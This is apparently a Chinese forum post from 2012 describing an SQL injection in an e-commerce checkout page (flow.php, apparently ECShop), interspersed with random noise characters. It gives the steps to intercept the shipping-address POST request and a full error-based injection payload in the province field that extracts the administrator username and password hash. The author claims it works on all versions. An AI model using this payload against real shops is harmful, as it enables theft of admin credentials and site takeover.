感谢欠杀的黑盒
z i2 ]3 Q& Q& p" R" y3 N9 w! i6 p7 o! ~& s6 j: r* Z
2 X+ c. m( t6 ~8 b
把任意商品加入购物车在填写配送地址那一页，有地区选择$ L2 j; q. y) E# W4 l
* O% G! y9 K: p4 v3 u0 a; `
flow.php?step=consignee&direct_shopping=1
x/ ^- D9 Z+ f0 F/ b比如省选择安徽
1 R. g) {) J# p R- x% m / Z) {9 x6 J4 C, Z/ x/ s
其中POST数据如下
0 W* T( P. e5 v+ ]( z8 v
2 c8 @4 M' {' l! W2 Rcountry=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3
0 ^9 R& Y5 M' E1 G' O/ F改成" V) ^" U: `' U) \! m! z, E
! K9 a( W ], T; L O
province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #9 T# T4 u, B S) s+ l& k4 P
ps：详细的方法，用火狐tamper data插件……..即可改post内容…..* D- Z3 |: \3 l5 E
/ {9 k _5 p7 v. V% U
先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包
& r7 {& n1 F: w 2 q8 U6 O, \0 u* y2 @3 ]2 k
就会回显错误页面了。。。。
* T3 ^2 X- a0 m8 H' j / R- ~, Q4 z' }) [3 O. O4 W2 b2 s
我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的0 ]* c6 T# D! K3 G1 o. u: w) R0 c) A
|
发表于 2012-12-31 09:19:27
收藏
支持
反对